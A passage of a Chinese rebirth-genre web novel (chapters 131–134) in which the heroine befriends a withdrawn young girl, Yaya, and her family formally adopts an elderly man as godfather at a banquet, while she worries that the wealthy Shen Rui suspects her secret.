好不容易境况好转一点,他却又遭人算计,误染上毒/瘾。苏振东试着戒了几次都没成功,对生活无望的他更不愿沦为一个丧心病狂的毒/贩,最终决定放弃一切,选择跳海结束自己的生命。 他紫砂前将手头最后一点积蓄留给朋友,请求他代替自己每隔两个月就给国内的老父亲写一封信。 只是他死后,朋友的状况也很不好,几乎朝不保夕,便将他留下的钱悉数挪用,更没有按照承诺的给苏爷爷写信。一直到他四处流浪被苏爷爷偶然发现,这才将真相和盘托出。 苏丽珍没有见过苏振东,但是因为苏爷爷的缘故,她对这个人并不陌生。 苏爷爷怀里始终揣着一张照片,上面是他和儿子、孙女的合照。 想要保证苏爷爷晚年过的幸福,最重要的是保住苏振东父女。 尤其是苏振东,苏丽珍要阻止他去米国,也要在他因为无望的爱情沉沦时尽量拉一把。 她不想干涉别人的感情,但为了苏爷爷,她希望身为儿子的苏振东能时刻保留理智,多为苏爷爷考虑。 所以如果必要的话,哪怕是绑,她也要把人留在苏爷爷身边—— 稍微收拾了一番,一家四口就出门了。 路上先到最大的百货商店买了不少礼品,然后一家人等公交车的时候,恰好遇见旁边一份摆摊卖头花发饰的。 那些头花、饰品大多是用布头、碎绸手工制成,胜在样式新颖,配色精美,一点不俗套。苏丽珍想起苏爷爷的孙女,便挑挑拣拣买了不少适合十岁小女孩戴的发饰。 看一旁苏小麦眼睛亮晶晶的,便也含笑主动给她挑了几个。 等坐上车,一路无话,十几分钟便到了地方。 沈瑞家所在的林公馆在凤城可以说小有名气的,当初他留下这个地址的时候,苏卫华两口子起先还以为自己听茬了,又重新确认了一遍,才知道这旧公馆已经叫沈瑞买下了。 等到了地方,看着眼前这座仍带着几分旧时煊赫贵气的庭院洋楼,一家人还是难掩心中震撼。 苏卫华不禁道:“虽说小沈看着就不像普通人,昨天干爸话里话外也显出了小沈背景不凡。可如今亲眼见了,我才发现,咱还是想的简单了。” 李翠英和苏小麦也不由跟着点了点头。 苏丽珍什么也没说。没人比她更清楚沈家的显赫,那是凤城“地头蛇”,芳芳所在的谢家也要仰望的存在。 说话间,苏卫华上前按响了门铃,很快有人出来应门。 等进了大门,迎面就是一座小花园,里面栽种了不少绿植和鲜花,一走一过只看着这些漂亮的花花草草,就让人心情愉悦。 那位来开门的刘阿姨先将他们迎进一楼客厅,说是沈瑞刚好不在,苏、孟两位老爷子在楼上房间休息,她这就去叫人。 苏丽珍听说沈瑞不在,不知道为什么,居然觉得松了一口气,也有心情同苏家人一起悄悄打量起这座豪宅。 同样是老洋房,沈瑞的这栋旧公馆虽也沾了“老、旧”二字,但远比他们家的档次高多了,加上维护得好,内部看着还有个八成新,也不比新房子差什么。 而且房子的主人出身不凡,品味优越,连带这房子里大到整体布局、小到零碎摆件,各处都极尽优雅自然,让人耳目一新的同时,又不会生出高不可攀的感觉。 连李翠英都忍不住小声嘀咕,说这不亏是小沈的房子,瞧着真是跟他本人的感觉一模一样。 苏厚德和孟知祥一听说他们一家来了,都有些喜出望外,当即兴冲冲下了楼。 苏丽珍也终于见到了苏振东父女。 苏振东这会儿大概35了,本人和照片上没什么分别。他跟苏爷爷长得有五分像,中等身材,比苏爷爷略高一点,就是相貌平凡的普通人。 再看旁边紧紧依偎着苏爷爷的小女孩,这孩子跟她爸爸不太像,生的大眼睛、小翘鼻,十分漂亮,只看着这副长相,就能想到她的妈妈是何等出众。 苏丽珍记得她的小名叫芽芽。上辈子,苏爷爷每次想起这个早夭的孙女,都要难过得一整天缓不过劲,所以苏丽珍此时看着她的目光也难掩怜爱。 苏厚德第一时间就发现了苏丽珍一直在看着自己的小孙女,以为她喜欢这孩子,赶忙低头对小姑娘道:“芽芽,对面那是你珍珍姐姐和小麦姐姐,你去跟她们一起玩,好不好?” 但是出乎苏丽珍意料的,芽芽只是抬头看了她和小麦一眼,很快又垂下头,后背紧紧靠着苏爷爷,然后缓缓摇了摇头。 看起来像是拒绝的意思。 按说十岁的年龄其实也不算小了,但这孩子的反应仍然像个怯懦的幼童。 上辈子苏爷爷曾说过,芽芽幼时也是个活泼开朗的孩子,只是随着父母感情破裂,她也开始一天天变得沉默起来,甚至到后来常常一整天都不怎么开口说话。 那时候他也不懂,总以为多哄一哄,等孩子长大了就好了。后来他到了米国,无意间听人说起才知道,孩子其实是心里生病了,而当家长的必须及时干预治疗,否则后患无穷。 苏爷爷每每想起这些,便悔恨不已,责怪自己没能及时发现孙女的病,生生耽误了孩子。 苏丽珍脑中不禁飞快闪过那些画面,而就在这时,对面正跟苏卫华夫妇说话的苏振东看见女儿这副样子,不由皱了皱眉,沉声道:“静雅,没听见爷爷的话吗?” 旁边的苏卫华看出他不高兴,赶忙帮腔:“振东兄弟,咋说咱们也是头回来,孩子眼生也是正常,等以后熟了就好了!” 李翠英也说道:“是这个理儿,女孩子都腼腆,我家珍珍小时候也一样。” 苏丽珍便把来时路上买到的那一堆头花小饰品拿出来,冲着小女孩招手道:“芽芽,你看,这是我跟你小麦姐姐特意买给你的小礼物。你来挑一挑,看有没有喜欢的?” 没有小女孩能抗拒漂亮可爱头花的诱惑,特别是当这些小饰品的数量还不少的时候。 芽芽也一样,当苏丽珍把那一堆花花绿绿的小玩意儿拿出来的时候,小姑娘的眼神一下就舍不得移开了。 苏厚德忙顺势哄劝道:“芽芽,快过去瞧瞧,两个姐姐给你带了这么多头花呢,多好看t啊!” 芽芽听了爷爷的话,到底没顶住诱惑,慢慢地走了过来。 她看了苏丽珍一眼,目光又重新落在那一堆发饰上,最终伸出小手,从里面拿出一根带粉红色绒布小花的头绳,然后就那么举着头绳,怯生生地看向苏丽珍。 第132章 苏丽珍被她看得心都要化了,忙柔声道:“芽芽喜欢这根头绳吗?那姐姐帮你把它绑在头发上,好不好?” 不料芽芽听了,却立马抬手捂住自己头上的小辫子,然后转身看向自家爷爷。 苏厚德连忙道:“乖乖,姐姐扎头花比爷爷还厉害呢!让姐姐给你绑吧!” 苏丽珍这才明白,原来这孩子的头发是苏爷爷梳的,难怪不想让她碰。 她赶紧向小家伙保证:“芽芽,姐姐不动爷爷给你梳的辫子,只是帮你把它戴上,一下就好,很快的!” 一旁的苏小麦也笑眯眯地帮腔:“对呀,芽芽挑的头绳这么好看,绑在辫子上一定特别漂亮!” 芽芽犹豫了一会儿,还是把那根粉色头绳交给苏丽珍,然后自己乖乖转过身,把后脑勺对着她。 苏丽珍便拿起那根头绳,手指翻飞,三两下就绑在了芽芽的小马尾辫上。 “哎呀,真好看!”苏小麦立即捧场地拍手夸赞起来。 芽芽的大眼睛瞬时明亮了起来,她看了看苏丽珍、又看了苏小麦,终于开口说出了见面的第一句话:“谢谢姐姐。” 苏丽珍和苏小麦相视一笑。 “不客气,芽芽。咱们接着再看看,你还喜欢哪个,姐姐都帮你试一试好不好?” 芽芽便听话地继续低头挑选起来,等一口气又挑出四、五个小发饰后,她便拉着苏丽珍和苏小麦起身,似乎是想往外走。 一直留心的苏丽珍便问道:“芽芽是想去找镜子吗?” 芽芽认真点了点头,一直守在旁边的那位刘阿姨忙道:“要镜子是吧,我这就去拿!” 刘阿姨很快拿来一面古色古香的椭圆形精美挂镜,芽芽先照了照自己发辫上的新头花,伸手摸了又摸,一双大眼睛亮晶晶的。 这之后,苏丽珍负责绑头发,苏小麦帮忙拿镜子,三人配合良好,芽芽的疏离也一点点散去。 苏丽珍看着镜子前偶尔也会弯一弯唇角的可爱女孩,不禁想到她上辈子的悲惨结局,心中便异常难受。 按照上一世,芽芽是不幸死在被拐卖途中的,时间就在明年。 之前她只知道苏爷爷一家是首都人,可首都太大了,人海茫茫,她一没办法离开凤城,二不能跟别人倾诉自己重生的秘密,以如今的通信水平,找到人的愿望真如大海捞针。 而且她只听苏爷爷提起过芽芽是82年夏天没的,具体是哪一天,什么时候,她又根本不知道,连提前提醒一下相关部门都做不到。 按照她之前设想的,唯一的办法就是提前给首都一些报纸专栏写信,揭露一些后世人贩子拐卖儿童的惯用伎俩,呼吁大家重视身边孩子们的安全保障。 这办法能不能起作用,根本无法保证,之前她也一度很悲观。 可现在不一样了,老天爷让她提前遇到了苏爷爷,她势必要保住这个孩子。 如是想着,她便又分神,暗中关注那边正跟她爸妈相谈甚欢的苏振东。 一切的根源都在他身上,他的那场婚姻是导致苏爷爷家破人亡的根源。 在她看来,苏振东是一定会离婚的。虽然上辈子是芽芽的死成为压垮苏振东所有坚持的最后一根稻草,但她明白,感情的事根本勉强不来。 就算芽芽没事,这场婚姻,苏振东也很难守住。 为今之计,只能在尘埃落定前,试着让苏爷爷带着芽芽暂时离开那个家,先避过明年的祸事再说。 而且别的不说,起码远离父母的那些纷争,换个新环境也能让芽芽的情况好一点。 所以这一切都绕不开苏振东这个一家之主。 苏丽珍暗中瞧了一阵,发现苏振东对她爸妈,并不如苏爷爷和孟姑爷爷那样推心置腹。虽然他一度表现的也很热情周到,但是仔细观察,还是能看出他的态度有一定保留,甚至说是防备也不为过。 这点,苏丽珍也能理解。毕竟要是换作是她,知道救了自己姑父的人恰巧正是捡到父亲食谱的人,而这家人还刚一见面就认了自家作干亲,这全程听着就像编故事一样,心思多的难免会生出几分犹疑。 除了看着比苏爷爷的性格更谨慎一些外,苏振东本人算得上健谈,言辞间也颇有见识,应该是有些能力的。 苏丽珍看着他跟她爸两个人你来我往,从最初了解对方的基本情况,再到后面聊起各自的兴趣爱好,可以说是相谈甚欢。而苏振东态度也从最初的客套居多,变得越来越自然。 她相信任何人跟她爸妈相处一段时间,都能被他们的坦诚相待所打动。 而让苏振东真心接纳他们一家,正是她现在迫切需要做的。 苏丽珍知道他不可能留在凤城太久,所以必须尽快打动对方,说服他答应苏爷爷带着芽芽留下来生活一段时间。 苏丽珍的感觉没错,苏振东确实对苏卫华夫妻的想法有些复杂。 本来昨晚听他爸一脸激动地跟他说,自己在凤城认了个干儿子,他就已经大吃一惊,再加上听了里头的前因后果,他更觉得这事有点巧合的离谱,总担心人家另有所图。 不是他自视甚高,实在是现在好多干个体户的就是过去的“倒爷”,这帮人嘴里整天跑火车,没一句真话。你跟他们掏钱买东西都说不准要上当受骗,更何况是讲感情? 就算是他姑父也说这家人没问题,但他心里还是有点不放心,总怕他爸上当受骗。本来想抽空私下问问沈瑞,可还没等他找着机会呢,这家人倒是先不请自来了。 不过,等他亲自接触了苏家人之后,才觉得对方不但没有那些“倒爷”身上的精明市侩,反而很实在,甚至话里话外都显得格外真诚。 或许是他小人之心,也许人家是真的感激他爸,压根没想图谋什么…… 正思忖间,就听对面苏卫华忽然道:“振东兄弟,正好你来了,我们还真有个事想跟你商量一下。” 苏振东一听他这么说,刚觉得自己是不是想太多的心思陡然急转而下。他不由暗自思量,莫非对方这就要“暴露”意图了?是不是有点太着急了? 心里念头飞转,但他面上仍保持着得体的笑容,“卫华大哥,您有什么事,只管言语就是。” 苏卫华就说道:“是这样,我们既然认了干爸,就想着挑个好日子把家里的亲戚朋友都请来,在我那店里正经摆上两桌,好好热闹热闹,不知道振东兄弟你这边有啥想法没?” 苏卫华和李翠英想的很明白,虽说他们的初衷是好的,但是事关干爸,不管好事、坏事,都应该先征得他老人家亲生的孩子同意。有了这个底儿,万一以后遇上啥事,干爸在中间才不犯难。 苏振东却是听得一怔。他没想到苏卫华说的是这么个事,正愣神间,就见对面苏厚德第一时间摆手推拒,“不行、不行!卫华、翠英,你们的孝心我老汉知道,但是摆酒就不用了,不值当为我一人费那个钱。” 苏卫华笑道:“干爸,您也不是不知道,咱自家就是开店的,能花几个钱?咱国内这么多人,老天爷偏偏就让咱们家人找着您了,这样的大喜事说啥也得庆贺庆贺不是!” 李翠英也道:“就是,干爸,您就答应吧!我们来的路上,珍珍和小麦两个可是把当天的菜单子都想好了。您要是不答应,孩子们可就失望了!” 苏厚德有些感动,但还是不肯松口,“你们的心意,我是知道的,但是真不必这么麻烦。虽说你们用了我的《料经》,可世人都知道,这师父领进门,修行好赖还是看个人的。” “你们的饭店经营得好,还是因为你们自身的努力,我老头子那本书不过是最初起了点引导作用,能听你们喊我一声‘干爸’,已经是我捡了大便宜,可不能再贪得无厌了。” 苏振东t张了张嘴,最终选择默认父亲的决定。 过了最初的怔忪后,他还是对苏卫华夫妻的诚意有所触动,觉得自己大概真的误解了人家。 不过,这事他也赞成父亲的意思。 严格来说,苏家虽然得到了父亲的书,但人家其实并不欠他们的,反而应该是他们感谢对方才是。 毕竟当初从他们手上抢走《料经》的并不是苏家人,这样的情况下,人家无意间得了书,不但告知了他们实情,还愿意把书还回来,这就是人家的情分了。 他们应该领这份情才对。 如今认了干亲,这一声“干爸”叫着,还要劳动人家大张旗鼓摆酒请客,这让人家亲生的父母怎么想?万一再闹点什么不痛快,岂不是让人家花钱买烦恼? 所以他到底没吐这个口。 苏丽珍在旁边看了全程,以她对苏爷爷的了解,倒是能猜到老人家的顾虑,无非是顾忌她家里的亲爷奶罢了。 这么想着,她便主动走到苏厚德面前,蹲下身,望着对方的眼睛,真诚地劝道:“爷爷,您是珍珍见过的最和蔼慈祥的长辈,您能来当我的爷爷,我真的特别开心!所以您就看在珍珍的面子上,答应下来吧!” 这句话提醒了苏卫华,他马上顺着话说道:“干爸,不瞒您说,我也算曾经在鬼门关前走过一遭的人。如今我想的特别开,只要我们一家人乐乐呵呵的,旁的事情我不在乎。我的地盘,那也是我们一家人说了算。所以您千万别有啥顾虑,咱就顺着自己的心意来。” 说着,又转向苏振东,“振东兄弟,你要是没啥意见,我看这事就这么定下吧。” 苏卫华和苏丽珍都把话说到这个份上,苏厚德父子也不好再坚持,这才答应下来。 一直没插话的孟知祥不由笑着调侃了自家妹夫一句:“我记得前边街口有家理发店,你得空去好好收拾收拾,到时候精神点,也给卫华和翠英他们长长脸。” 苏厚德白了他一眼,故意挺了挺胸脯,“我用你说!到时候我从芽芽那儿拿两朵花儿戴头上,保准谁都比不过!” 众人立时被逗得大笑起来。 屋子里轻松的气氛也感染了芽芽,小姑娘听说爷爷要戴她的花,立马从苏小麦身边跑开,在自己先前挑中的头花里挑出一枚缠花小发卡,精准地别在了自家爷爷的头顶上。 大伙儿越发笑得不行。 经此一回,之前横亘在苏振东和他们家之间那股若有似无的隔阂也淡去了不少。 苏丽珍不由弯了弯唇角,这第一步迈得好,她之后的计划才会顺利。 如此众人又说了会话,眼见时间不早,苏卫华夫妻就张罗着准备回家了。 结果刚起身,恰好这时沈瑞回来了。 他们不好赶着主人家刚回来就走,只好又小坐了片刻,顺便说起摆酒席请客的事,也邀请沈瑞到时候过来。 第133章 沈瑞倒是一口答应下来,还说自己手上有几瓶好酒,那天一并带过去,到时候大家一起品尝更有滋味,也是他这个晚辈的一点心意。 能让沈瑞说“好”的酒必定不凡。但他说这话时态度真诚和煦,自然中透着亲近,仿若本该如此一般,叫苏卫华夫妻一下子不知道该如何拒绝。 苏丽珍一时有些无语,不知道为什么,她总有种越是不想跟对方有瓜葛、结果就越甩不开的感觉。 这感觉很不好,以至于连她的好心情都大打折扣。 所以回家的时候,一听沈瑞要开车送他们回去,苏丽珍当即决定让父母和小麦姐坐车,她自己要先去百货商店逛一下。 苏卫华和李翠英现在跟别的父母心态完全不一样,一听说闺女主动要出去玩玩逛逛的,他俩反倒挺高兴。 李翠英还兴冲冲地小声问她,兜里钱够不够。 那劲头不知道的,还以为她是要出去干什么大事。 苏丽珍假装没看见沈瑞似笑非笑的脸,按住了她妈要掏钱的举动,然后才低头对身边的芽芽反复叮嘱,让她跟爷爷和爸爸明天一定要到店里来玩。 经过这半下午,芽芽已经不排斥她和苏小麦,闻言没多犹豫就痛快地答应了,比来时的生疏怯懦好多了。 结果苏丽珍想的挺好,可等他们一行人出了洋楼才发现,原来这会外面的天色竟暗了许多,明明来时还算是晴天,现在却阴云密布,看样子随时都可能要下一场大雨。 苏厚德就忙说道:“这天看着不对劲啊,卫华、翠英,快让沈瑞送你们回去吧,省得半路挨浇。” 说完,还特地劝苏丽珍道:“珍珍啊,听爷爷的,今儿就别出去逛了。看下雨浇着你,跟你爸妈他们一块回去吧。” 苏丽珍张了张嘴,结果没等说话,一滴豆大的雨点就落在她鼻尖上。 她立时闭了嘴。 真是老天爷也不成全她。 最后到底是坐了沈瑞的车,一家四口回了家。 好在两家距离不远,苏丽珍也只需要忍耐个十几分钟就能到家。 跟苏丽珍的反感不同,苏卫华夫妻俩特别喜欢沈瑞。 尤其是苏卫华,坐在副驾驶上,这一路跟沈瑞有说有笑,话题不断,等临下车的时候还一副意犹未尽的样子,非要让沈瑞再进去坐坐。 还是李翠英劝他:“你这人不能光顾着自己乐呵啊!你看看这天气,说不准就要下大雨了,耽误了小沈,到时候路上开车也不安全。” 苏卫华只得怏怏作罢。 等一家人都下了车,沈瑞也从车上下来,却是从车后卸下两篓河鲜给他们。 篓子不算大,但编织的极其精美,丝毫不逊色于后世大行其道的各种精美礼盒。 苏丽珍在旁边瞄了一眼,发现一篓是当地名产凤尾鱼,另一篓是个头极大的河虾,俱是价值不菲。 苏卫华和李翠英也不是不识货的,想着已经劳烦人家跑一趟了,哪能再平白收人家的好东西,赶忙摇头拒绝。 沈瑞便说道:“叔叔、婶婶,收下吧。这是我朋友送的,家里已经留出了不少。如今天热,这些鱼虾放不住,要是时间长了,反倒糟蹋了好东西。” 他说着,目光不知道是有意、还是无意地扫了苏丽珍一眼,微笑着又道:“我昨天留意到,叔叔、婶婶你们似乎很喜欢吃鱼鲜?正巧今天赶上了,就当我借花献佛吧。” 沈瑞这个人,别看总是一副笑眯眯的斯文相,但是不知道为什么,面对他说的话,总是让人很难升起反对的念头。 所以苏卫华和李翠英最后还是稀里糊涂地收下了这两篓子鱼鲜,等反应过来的时候,人家的车都已经开走了。 李翠英不禁有些懊恼:“这上次才收下人家那么多东西没几天,今天又留下两篓子好鱼虾,这叫啥事?咱是不是有点太贪了?” 苏卫华也叹气,“算了,债多了不愁。回头问问干爸,小沈喜欢啥,下次人家来,咱都精心预备着。虽说人情往来讲究细水长流,但咱也不好总占人家便宜。” 李翠英点了点头,跟苏卫华一人搬起一只篓子,又忍不住感叹:“这么大个头的凤尾鱼和河虾,我还是头一次看见……说起来,小沈也真是细心,居然看出来咱们家珍珍爱吃水里的东西。” 苏小麦也笑道:“我也想说呢!珍珍平时不挑食,可说起来确实最爱吃鱼虾蟹这些。我看沈先生给的这些鱼虾都是平时很难见到的,还想着正合了妹妹口味呢。” 旁边一直没吭声的苏丽珍却听得浑身僵了一瞬,假装快走几步到店门口,主动给父母和姐姐掀起门帘。 没想到上了台阶的苏卫华,这时忽然反应过来什么似的,猛地顿住脚步,回头对李翠英道:“哎,不对啊!我这才想起来,刚刚小沈怎么喊咱们俩‘叔叔、婶婶’啊?他管咱们干爸叫‘德叔’,这么一整,咱不是差辈了吗?” 李翠英却因为他走在前面这么突然一停,手里的篓子都差点没抓住,闻言不由白了他一眼,不在意道:“嗐,这是多大个事!人家小沈姓沈,跟干爸又不是一家人,咱就各论各的呗。早先在厂子里,这不是常事嘛。” 厂里工人们往往都是论资排辈,还有拜师收徒的,认了师父,自然就小了一辈。再加上厂子里是人情社会,七大姑八大姨,总有沾亲带故的,根本没办法按实际年龄排大t小,所以大家也就达成共识,各叫各的,谁也别挑谁。 苏卫华想想也是,而且想起小沈今年才25,叫他一声“叔叔”也是应当,便把这个问题丢在了脑后。 苏丽珍听着爸妈和姐姐谈论晚上做鱼虾吃的话题,心里莫名烦躁。 这个沈瑞,他到底想干什么? 他对她的关注似乎超出了寻常关系的界限。见识过沈家显赫的她不会自恋地以为,对方会看上她这样尚未成年的黄毛丫头,她只是觉得很不对劲。 她不知道自己有什么值得对方留意的?难道说是他发现了她身上的秘密吗? 不应该的,就算他再厉害,也不可能仅凭几次的接触就猜出她重生的秘密。 可随即她又想起,从前不知听谁说过,那些特别厉害的人常常拥有异乎寻常的敏锐直觉,这些直觉总能帮助他们趋利避害,无往不利。 说不定沈瑞也有这样的直觉,导致他比平常人更能察觉到她的异常。 如果是其他人猜到她重生的秘密,她尽可以拿对方没有证据这点,死咬着不承认。 可偏偏这个人是沈瑞! 是来自沈家,上辈子见证过她的卑劣,因此视她如无物、高高在上的沈瑞! 只要一想到这人有可能勘破她的一切,她就觉得自己像只落入猎人手中待宰的猎物,随时有可能叫人剥光了浑身的皮毛,毫无尊严,只余痛苦。 所以,她一定不能让这个人发现她的秘密。 哪怕是万分之一的概率也不行。 今后,她必须要小心、再小心,绝对不能让他抓到她的任何马脚。 想到这,她暗自苦笑不已。想不到昨天她还信誓旦旦地跟沈瑞叫嚣自己做事凭“直觉”,而今天,直觉竟成了她最害怕的东西。 因为内心深处的恐惧,这一晚上,苏丽珍又失眠了,后来抱着本英语词典强行催眠,等第二天早上起来的时候,眼下青黑一片。 李翠英和苏小麦看她这样有些心疼,直问她是不是又半夜躲在被窝里看书,熬得太晚。 苏丽珍只得推说是夜里闷热,睡不安稳,勉强把话题岔了过去。 等吃早饭的时候没看见苏卫华,苏丽珍一问才知道,她爸今早去她爷奶家了。 昨晚上,苏卫华和李翠英查了半天黄历,将请客的日子定在了两天后的礼拜天。不敢定太晚,怕到时候苏振东赶不上。 昨天他们特意问过,苏振东这次请了十天假。看着时间挺长,但是一来一回坐车就要四天半,去掉路上耽误的,剩下的日子其实不多。 定好了日子,今天一大早,苏卫华饭都没吃,就出门给老宅送信去了。 李翠英还有点担心,一边给两个闺女盛粥,一边念叨:“我就说等吃完了早饭,我和他一起去。哪想他这倔劲儿又上来了,一大早饭也不吃,忙三火四地就走了。不知道的,还以为他上门找打架去了!” 苏丽珍和苏小麦都被她逗笑了。 苏小麦宽慰她道:“妈,您也别担心,爸有分寸,不会真跟爷爷奶奶他们吵起来的。” 李翠英盛完了粥,又给两人剥鸡蛋,“你俩先吃吧,我等这倔驴一会儿。” 谁知话音刚落,就听见苏卫华推门进来,“谁是倔驴啊!你说你这人,又在孩子们跟前埋汰我!” “爸!” “你回来了!” 苏小麦赶忙起身给苏卫华盛了一碗粥。 李翠英打量他面色还好,心里先松了口气,忙问道:“怎么样?老爷子和老太太没说啥吧?” 苏卫华接过苏小麦端来的粥,一口气儿先喝了半碗,这才慢条斯理地开口:“就他们俩那性子,你还不知道?一句都不带少说的。” 看李翠英面色微变,他又放下粥碗,安抚道:“说就说呗!反正我请客,花的是我自己的钱,又不劳烦他们。我没短过他们的,不就得了?总之,我已经通知他们了,想来,他们就来;不乐意,那我也无所谓。” 李翠英看他这果真一点不在意的样子,神情有些复杂道:“你倒是真想开了。” 说完,又自顾自道:“算了,反正你都想开了,我也不揪着这事了。我一个外姓人,可不夹在你们中间,要不然到时候又里外不是人了。” 苏卫华见状,也不端着了,忙夹起一筷子李翠英爱吃的凉拌干豆腐丝到她碗里,正色道:“媳妇,你关心我,我知道。过去是我看不开,让你在中间受了不少气,是我不对。你放心,以后万事都有我顶在前头,你谁的脸色也不用看!” 李翠英没想到他会在饭桌上说出这番话,本来心中是有些感动的,可余光瞥见两个闺女正捧着粥碗闷头偷笑,顿时又有些臊得慌,不由白了他一眼,低声道:“行了,老夫老妻的,说这干啥,赶快吃饭吧。” 嘴上说着,手上却非常诚实地把之前苏丽珍给她剥的鸡蛋又夹到了苏卫华碗里。 苏卫华一边捧着碗,一边朝她咧嘴笑了起来。 苏丽珍和苏小麦也不由相视一笑。 吃完了这一顿其乐融融的早餐,苏丽珍的心情也好了不少。加上想着要招待今天过来的苏爷爷他们,越发打起精神,趁着眼下得空,忙拉着李翠英和苏小麦一起去了趟百货商店。 第134章 昨天她为了不坐沈瑞的车,说要去百货商店逛逛并不完全是借口。 既然和苏爷爷认了亲,他们总要有些表示,最起码应该给苏爷爷和孟爷爷买两身新衣裳才是。 另外,她还想买些零食、玩具和漂亮的小裙子给芽芽。 而且她心里存着要多留苏爷爷他们在店里住下的念头,自然要提前把一应生活用品预备好。 这杂七杂八加起来,要买的东西可不少。 母女三人一次还没买齐,第二天又跑了趟隔壁街新开的服装店,才把想要的东西置办齐。 如此,时间一晃就到了摆酒的正日子,饭店直接又关了半天门。 想着今天摆酒,苏家人头一天下午就没让苏厚德和孟知祥回去,昨晚就住在了苏家。 两个老人一间客房,芽芽跟着苏丽珍姐妹睡一个屋。 因为房间布置得精心,吃穿用又样样齐全,所以无论老人、还是孩子,这一晚都休息得不错。 尤其芽芽,这两天跟苏丽珍和苏小麦玩得熟了,加上最心爱的爷爷就在一眼能看到的地方,倒是比之前活泼了不少。等闲跟她说话,也能小小地回上一两句,苏厚德因为这事高兴的不得了。 星期天一大早,一家人起来就开始忙活,不到十点钟,亲朋好友就陆续过来了。 除了老宅苏丽珍的爷奶、叔婶一大家子,还有丁大勇一家三口,张表舅一家,薛老爷子、安厂长两家,以及苏卫华从前在机械厂的两个朋友。 因为不想收礼,加上怕人多,苏爷爷不习惯,所以这回苏卫华就预备了三桌酒席,邀请大伙儿来之前也只说是认了门亲戚,请大家一起热闹热闹。 虽然只有三桌酒,但苏家人也半点没马虎。桌面早早先摆上了一盘盘花生、瓜子、糖块和水果,饮料也准备的茶水和汽水。 来得早的薛老爷子看得直乐,直说这预备齐整地,人家娶媳妇的都赶不上!这么些东西进了肚,中午不用等上菜,都要先吃饱了。 不过说笑归说笑,苏家人的用心和重视,大家也都看在了眼里,不由纷纷夸赞起来。 唯有苏老头和苏老太坐在一边,从头到尾兴致不高。 即便苏厚德和孟知祥对老两口十分客气,可两人还是肉眼可见地高兴不起来。 苏卫华对此早有准备,但他一点不在意,直接听了闺女的建议,早早把薛有粮和安厂长都安排到这一桌来。 苏家老两口都是极好脸面的人,无论是薛老爷子还是安厂长,都是他们平时接触不到的人脉。尤其安厂长,那么大一家纺织厂的大厂长,在他们心里绝对算是大人物。 看安厂长和薛老爷子都对苏、孟两人客气有加,互相之间还挺有话题,聊得有滋有味的。这种情况下,他们就算想给那个所谓的干爹点脸色看看,也不敢真的表现出来。 甚至在安厂长他们主动拉着老两口说话的时候,他俩还得尽量表现地自然,不能叫人看出他们不乐意。 老两口就像吃了苍蝇,满肚子难受,心里越发埋怨起大儿子一家。 苏卫华可不在乎这些。 苏丽珍更当是啥也没看出来,三言两语堵住婶子郑艳红拐弯抹角打听饭店家底的闲话,就带着芽芽到门t口玩耍。 今天来的人比较多,苏丽珍怕芽芽不自在,隔一会儿就把她带出来转转,让她一点点适应这里。 刚剥了一颗奶糖喂给芽芽,就见沈瑞的车来了。 沈瑞是和苏振东一起来的。 苏振东刚下车,看见女儿,还没等出声,就见芽芽小身子一扭,立马钻到了苏丽珍身后,怎么也不肯出来了。 苏振东的神情不由有些黯然。 不过他很快调整好情绪,笑呵呵地跟苏丽珍打招呼,“珍珍,你们怎么在外面玩呢?” 苏丽珍也当做没看见他的不自在,笑答道:“屋里人多,大伙儿唠嗑嗓门有些大,我怕芽芽不习惯,先带她出来转转。” 苏振东忙道:“你这孩子真是细心!其实也不必这样小心,我们老家那边的胡同里也整天吵吵嚷嚷不安静,没关系的。” 说话间,那边沈瑞正从车上搬了两箱子酒下来。 苏丽珍知道,这是人家特意为他们家这次办事带来的好酒,她这次到没有再躲着,十分客气地上前道:“沈先生,让你破费了,我来帮你搬吧。” 似乎没想到她会这么主动客气地跟自己说话,沈瑞诧异了一瞬,看着她的目光带了点不易察觉的探究,“苏小姐客气了,只是我的一点心意。而且酒水分量重,我自己来就可以。” 苏振东这时也道:“这点活儿哪能用你们女孩子伸手,我跟小瑞来就行了。” 两人直接就把酒搬进去了。 苏丽珍带着芽芽走在两人身后,不知道为什么,明明沈瑞背对着她,可她总有种自己一举一动都在人家眼里的错觉。 她压下心底的焦虑,告诫自己,一定不能再在对方面前表现出异常来。 之前她就是太沉不住气,屡屡表现异样,才会让对方反而对她生出几分不同寻常。 这实在是个错误! 从今以后,她必须把他当做一个跟家里长辈关系尚可的普通朋友,就像刚才那样。 大厅里,因为沈瑞的到来,让这场聚会平添了几分声势。 不提他拿来的那两箱有价无市的好酒,就单单他这个人,容貌出众,气质优雅,虽然言谈举止温和大方,但骨子里又透着一股矜贵。任谁来看,都得说这不是一个简单人物。 所以几乎是沈瑞一出现,大厅里原本说笑的人都下意识收了声,大伙儿都有意无意地朝他投去好奇的目光。 苏丽珍领着芽芽入座时,还听到安厂长的爱人悄悄问她妈沈瑞的情况。一听说沈瑞来自首都,这边还有个二哥在军区任要职,对方的眼睛都亮了几分。 到后面更是直接打听沈瑞有没有成家,看样子就像是上了心。 苏丽珍在旁边听得一清二楚,面色顿时有些古怪。 她年节常去安家,安夫人人很不错,就是有个特殊爱好,平时十分喜欢做媒。这回估计是看沈瑞出众,又动了给人介绍对象的心思。 但是苏丽珍知道,她这回十有八九要失望。安厂长是谢芳芳的舅舅,安谢两家同气连枝,安厂长是个很谨慎的人,估计他很快就能从谢家了解到沈瑞的根底,到时候他未必会同意安夫人贸贸然跑去给人家牵红线。 不过,一想到沈瑞会被拽去相亲的画面,她就有种能看对家笑话的暗爽。 心里难得快意,她唇角也悄悄弯了弯。谁知无意间一偏头,她突然发现,自己侧面居然正对隔壁桌的沈瑞。 两人目光交接,那人朝她扬了扬眉,脸上还是惯常的温和笑意,苏丽珍却觉得浑身颤栗,努力装作若无其事,慢慢把目光挪向别处。 好在这时服务员们开始上菜,苏卫华趁着这工夫把苏厚德请出来,一家人也站到了人前。苏卫华先是大大方方讲了几句话,之后全家人在众人见证下正式改口。 苏厚德高兴地掏出四个沉甸甸的大红包,塞给了干儿子、儿媳和两个干孙女。 简单的认亲仪式后,宴席正式开始。 为了这次摆酒,苏卫华和李翠英没少费心思。早早托刘五爷弄到了不少好东西,虽然跟沈瑞拿来的东西比不了,但是在普通人眼里也算稀罕物了。 而且食材是一方面,今天所有菜品都是李翠英亲自把关,调味用料都经她的手,味道绝对没得说。 美酒佳肴,满室飘香,大家边吃、边聊,实在是舒心惬意得很。 